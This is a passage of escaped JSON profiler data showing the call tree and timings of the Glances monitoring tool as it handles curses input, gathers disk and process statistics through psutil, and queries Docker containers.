\"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100561,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005611790023977, \"l260\": 0.1005611790023977},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100561,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100561,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100448,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044817400194006, \"l1202\": 0.10044817400194006},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100448,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100448,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100519,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005189649949898, \"l291\": 0.1005189649949898},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100519,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005189649949898, \"l260\": 0.1005189649949898},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100519,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100519,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100464,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046389600029215, \"l1202\": 0.10046389600029215},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100464,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100464,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057037600199692, \"l291\": 0.10057037600199692},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057037600199692, \"l260\": 0.10057037600199692},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100570,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100570,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100519,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051887200097553, \"l1202\": 0.10051887200097553},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100519,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100519,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056950600119308, \"l291\": 0.10056950600119308},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100570,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056950600119308, \"l260\": 0.10056950600119308},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100570,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100570,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100541,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054108600161271, \"l1202\": 0.10054108600161271},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100541,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100541,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100640,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064037899428513, \"l291\": 0.10064037899428513},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100640,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064037899428513, \"l260\": 0.10064037899428513},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100640,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100640,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100551,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055113400449045, \"l1202\": 0.10055113400449045},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100551,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100551,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100562,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056181500112871, \"l291\": 0.10056181500112871},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100562,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056181500112871, \"l260\": 0.10056181500112871},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100562,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100562,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100512,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051213399856351, \"l1202\": 0.10051213399856351},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100512,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100512,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100542,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054225599742495, \"l291\": 0.10054225599742495},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100542,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054225599742495, \"l260\": 0.10054225599742495},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100542,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100542,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100440,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043985000083921, \"l1202\": 0.10043985000083921},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100440,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100440,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100615,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061507100181188, \"l291\": 0.10061507100181188},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100615,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061507100181188, \"l260\": 0.10061507100181188},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100615,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100615,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100331,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003306380007416, \"l1202\": 0.1003306380007416},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100331,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100331,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100375,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037451500102179, \"l291\": 0.10037451500102179},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100375,\"attributes\": {\"cGlancesCursesStandalone\": 0.10037451500102179, \"l260\": 0.10037451500102179},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100375,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100375,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100430,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042967199842678, \"l1202\": 0.10042967199842678},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100430,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100430,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.493683,\"attributes\": {\"cGlancesStats\": 0.49368312399747083, \"l287\": 0.49368312399747083},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.493683,\"attributes\": {\"cGlancesStats\": 0.49368312399747083, \"l575\": 0.49368312399747083},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.493683,\"attributes\": {\"l571\": 0.49368312399747083},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.493683,\"attributes\": {\"cGlancesStats\": 0.49368312399747083, \"l274\": 0.47561824200238334, \"l275\": 0.01806488199508749},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.075576,\"attributes\": {\"cDiskioPlugin\": 0.0035814879956888035, \"l1278\": 0.0755764880013885, \"cContainersPlugin\": 0.006009062999510206, \"cProcesscountPlugin\": 0.06598593700618949},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.075576,\"attributes\": {\"l1295\": 0.0755764880013885},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003581,\"attributes\": {\"cDiskioPlugin\": 0.0035814879956888035, \"l114\": 0.0035814879956888035},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003581,\"attributes\": {\"cDiskioPlugin\": 0.0035814879956888035, \"l1351\": 0.0035814879956888035},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003581,\"attributes\": {\"cDiskioPlugin\": 0.0035814879956888035, \"l148\": 0.0016593809996265918, \"l158\": 0.0019221069960622117},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001659,\"attributes\": {\"l2129\": 0.0016593809996265918},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001659,\"attributes\": {\"l1106\": 0.0016593809996265918},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001659,\"attributes\": {\"l1075\": 0.0016593809996265918},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001659,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001922,\"attributes\": {\"cDiskioPlugin\": 0.0019221069960622117, \"l1058\": 0.0019221069960622117},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001922,\"attributes\": {\"cDiskioPlugin\": 0.0019221069960622117, \"l1051\": 0.0019221069960622117},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001922,\"attributes\": {\"cDiskioPlugin\": 0.0019221069960622117, \"l1018\": 0.0019221069960622117},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001922,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.006009,\"attributes\": {\"cContainersPlugin\": 0.006009062999510206, \"l252\": 0.006009062999510206},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.006009,\"attributes\": {\"l256\": 0.006009062999510206},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.006009,\"attributes\": {\"l248\": 0.006009062999510206},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.006009,\"attributes\": {\"cDockerExtension\": 0.006009062999510206, \"l260\": 0.006009062999510206},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.006009,\"attributes\": {\"cContainerCollection\": 0.006009062999510206, \"l1009\": 0.006009062999510206},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.006009,\"attributes\": {\"cAPIClient\": 0.006009062999510206, \"l211\": 0.0020070910031790845, \"l212\": 0.004001971996331122},\"children\": [{\"identifier\": \"_url\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000256\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020070910031790845, \"l266\": 0.0020070910031790845},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []}]},{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004002,\"attributes\": {\"cAPIClient\": 0.004001971996331122, \"l44\": 0.004001971996331122},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004002,\"attributes\": {\"cAPIClient\": 0.004001971996331122, \"l246\": 0.004001971996331122},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004002,\"attributes\": {\"cAPIClient\": 0.004001971996331122, \"l602\": 0.004001971996331122},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004002,\"attributes\": {\"cAPIClient\": 0.004001971996331122, \"l589\": 0.004001971996331122},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.004002,\"attributes\": {\"cAPIClient\": 0.004001971996331122, \"l703\": 0.004001971996331122},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.004002,\"attributes\": {\"cUnixHTTPAdapter\": 0.004001971996331122, \"l644\": 0.004001971996331122},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.004002,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.004001971996331122, \"l787\": 0.001992480996705126, \"l930\": 0.0020094909996259958},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001992,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.001992480996705126, \"l493\": 0.001992480996705126},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000424\",\"time\": 0.001992,\"attributes\": {\"cUnixHTTPConnection\": 0.001992480996705126, \"l468\": 0.001992480996705126},\"children\": [{\"identifier\": \"body_to_chunks\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/request.py\\u0000197\",\"time\": 0.001992,\"attributes\": {\"l217\": 0.001992480996705126},\"children\": [{\"identifier\": \"str.upper\\u0000<built-in>\\u00000\",\"time\": 0.001992,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"is_retry\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/util/retry.py\\u0000403\",\"time\": 0.002009,\"attributes\": {\"cRetry\": 0.0020094909996259958, \"l412\": 0.0020094909996259958},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.065986,\"attributes\": {\"cProcesscountPlugin\": 0.06598593700618949, \"l85\": 0.06598593700618949},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.065986,\"attributes\": {\"cGlancesProcesses\": 0.06598593700618949, \"l617\": 0.05998491300124442, \"l650\": 0.0020004140023957007, \"l659\": 0.004000610002549365},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.059985,\"attributes\": {\"cGlancesProcesses\": 0.05998491300124442, \"l478\": 0.05198577800183557, \"l493\": 0.007999134999408852},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.051986,\"attributes\": {\"l1541\": 0.002161346004868392, \"l1558\": 0.04982443199696718},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002161,\"attributes\": {\"l1485\": 0.002161346004868392},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002161,\"attributes\": {\"l1526\": 0.002161346004868392},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002161,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002161,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.049824,\"attributes\": {\"cProcess\": 0.04982443199696718, \"l579\": 0.043830954004079103, \"l572\": 0.005993477992888074},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001833,\"attributes\": {\"cProcess\": 0.0018331079991185106, \"l382\": 0.0018331079991185106},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001833,\"attributes\": {\"cProcess\": 0.0018331079991185106, \"l1138\": 0.0018331079991185106},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001833,\"attributes\": {\"cProcess\": 0.0018331079991185106, \"l1593\": 0.0018331079991185106},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001833,\"attributes\": {\"cProcess\": 0.0018331079991185106, \"l1878\": 0.0018331079991185106},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001833,\"attributes\": {\"l682\": 0.0018331079991185106},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001833,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001833,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001994,\"attributes\": {\"c_GeneratorContextManager\": 0.0019944750019931234, \"l141\": 0.0019944750019931234},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001994,\"attributes\": {\"cProcess\": 0.0019944750019931234, \"l535\": 0.0019944750019931234},\"children\": [{\"identifier\": \"oneshot_enter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001727\",\"time\": 0.001994,\"attributes\": {\"cProcess\": 0.0019944750019931234, \"l1730\": 0.0019944750019931234},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998219995992258, \"l382\": 0.003998219995992258},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998219995992258, \"l1138\": 0.003998219995992258},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998219995992258, \"l1593\": 0.003998219995992258},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.003998,\"attributes\": {\"cProcess\": 0.003998219995992258, \"l1880\": 0.003998219995992258},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l939\": 0.0020010349981021136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l1593\": 0.0020010349981021136},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l2052\": 0.0020010349981021136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l1593\": 0.0020010349981021136},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l382\": 0.0020010349981021136},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020010349981021136, \"l1718\": 0.0020010349981021136},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.0020010349981021136},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980880024377257, \"l680\": 0.0019980880024377257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980880024377257, \"l1593\": 0.0019980880024377257},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980880024377257, \"l1740\": 0.0019980880024377257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980880024377257, \"l1593\": 0.0019980880024377257},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980880024377257, \"l382\": 0.0019980880024377257},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019980880024377257, \"l1683\": 0.0019980880024377257},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001998,\"attributes\": {\"l730\": 0.0019980880024377257},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999375002924353, \"l382\": 0.001999375002924353},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999375002924353, \"l1127\": 0.001999375002924353},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999375002924353, \"l1593\": 0.001999375002924353},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999375002924353, \"l1835\": 0.001999375002924353},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999994994548615, \"l148\": 0.001999994994548615},\"children\": [{\"identifier\": 